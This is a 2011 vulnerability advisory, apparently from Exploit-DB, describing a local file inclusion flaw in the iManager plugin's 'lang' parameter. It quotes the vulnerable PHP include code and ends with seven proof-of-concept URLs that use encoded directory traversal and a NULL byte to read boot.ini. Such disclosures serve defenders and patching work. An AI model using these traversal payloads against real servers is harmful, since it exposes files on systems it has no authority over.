iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability

vendor:

iManager Plugin

by:

Gjoko 'LiquidWorm' Krstic

7.5

CVSS

HIGH

Local File Inclusion Vulnerability

CWE

Product Name: iManager Plugin

Affected Version From: <= 1.2.8 Build 02012008

Affected Version To: <= 1.2.8 Build 02012008

Patch Exists: YES

Related CWE: N/A

CPE: a:net4visions.com:imanager_plugin:1.2.8

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Microsoft Windows XP Professional SP3 (EN), Apache 2.2.14 (Win32), PHP 5.3.1, MySQL 5.1.41

2011

iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability

iManager suffers from a file inlcusion vulnerability (LFI) / file disclosure vulnerability (FD) when input passed thru the 'lang' parameter to imanager.php, rfiles.php, symbols.php, colorpicker.php, loadmsg.php, ov_rfiles.php and examples.php is not properly verified before being used to include files. This can be exploited to include files from local resources with directory traversal attacks and URL encoded NULL bytes.

Mitigation:

Input validation should be performed to ensure that untrusted input is not used to access local resources.

Source

Exploit-DB raw data:

iManager Plugin v1.2.8 (lang) Local File Inclusion Vulnerability


Vendor: net4visions.com
Product web page: http://www.net4visions.com
Affected version: <= 1.2.8 Build 02012008

Summary: With iManager you can manage your files/images on your webserver,
and it provides user interface to most of the phpThumb() functions. It works
either stand-alone or as a plugin to WYSIWYG editors like tinyMCE, SPAW,
htmlAREA, Xinha and FCKeditor.

Desc: iManager suffers from a file inlcusion vulnerability (LFI) / file
disclosure vulnerability (FD) when input passed thru the 'lang' parameter
to imanager.php, rfiles.php, symbols.php, colorpicker.php, loadmsg.php,
ov_rfiles.php and examples.php is not properly verified before being used
to include files. This can be exploited to include files from local resources
with directory traversal attacks and URL encoded NULL bytes.


======================================================================
/langs/lang.class.php:
----------------------------------------------------------------------

67: function loadData() {
68:    global $cfg;
69:    include( dirname(__FILE__) . '/' . $this -> lang.'.php' );
70:    $this -> charset = $lang_charset;
71:    $this -> dir = $lang_direction;
72:    $this -> lang_data = $lang_data;
73:    unset( $lang_data );
74:    include( dirname(__FILE__) . '/' . $cfg['lang'].'.php' );
75:    $this -> default_lang_data = $lang_data;
76: }

======================================================================


Tested on: Microsoft Windows XP Professional SP3 (EN)
           Apache 2.2.14 (Win32)
           PHP 5.3.1
           MySQL 5.1.41


Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
                            liquidworm gmail com


Advisory ID: ZSL-2011-5042
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2011-5042.php


15.09.2011

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http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/imanager.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/colorpicker.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/loadmsg.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/ov_rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/rfiles.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/scripts/symbols.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00
http://[SOME_CMS]/jscripts/tiny_mce/plugins/imanager/images/examples/examples.php?lang=..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fboot.ini%00